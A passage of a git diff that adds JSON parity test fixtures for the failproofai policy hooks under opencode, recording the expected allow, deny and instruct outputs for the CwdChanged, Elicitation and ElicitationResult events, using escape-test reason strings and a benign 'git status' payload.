\"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/CwdChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/CwdChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..9e1533f0 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/CwdChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Elicitation/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/Elicitation/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..8f4797e4 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Elicitation/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Elicitation/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/Elicitation/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..2d1a546c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Elicitation/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Elicitation/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/Elicitation/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..d7e9cfc6 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Elicitation/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Elicitation/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/Elicitation/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..73c16820 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Elicitation/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Elicitation/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/Elicitation/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..3706bdab --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Elicitation/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Elicitation/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/Elicitation/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..459c09e6 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Elicitation/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Elicitation/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/Elicitation/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..76a9ba36 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Elicitation/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Elicitation/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/Elicitation/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..9d406d4f --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Elicitation/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Elicitation/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/Elicitation/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..a0278258 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Elicitation/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Elicitation/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/Elicitation/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..d3680b6f --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Elicitation/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Elicitation/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/Elicitation/deny__tool-present__one-policy.json new file mode 100644 index 00000000..26c71699 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Elicitation/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Elicitation/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/Elicitation/deny__tool-present__two-policies.json new file mode 100644 index 00000000..38b59430 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Elicitation/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Elicitation/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/Elicitation/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..2103cd26 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Elicitation/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Elicitation/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/Elicitation/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..59b51024 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Elicitation/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Elicitation/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/Elicitation/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ce01c578 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Elicitation/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Elicitation/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/Elicitation/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..2f6382f2 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Elicitation/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/ElicitationResult/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/ElicitationResult/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..88ca4211 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ElicitationResult/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/ElicitationResult/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/ElicitationResult/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..b42a6971 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ElicitationResult/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/ElicitationResult/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/ElicitationResult/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..d17c7bb4 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ElicitationResult/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + 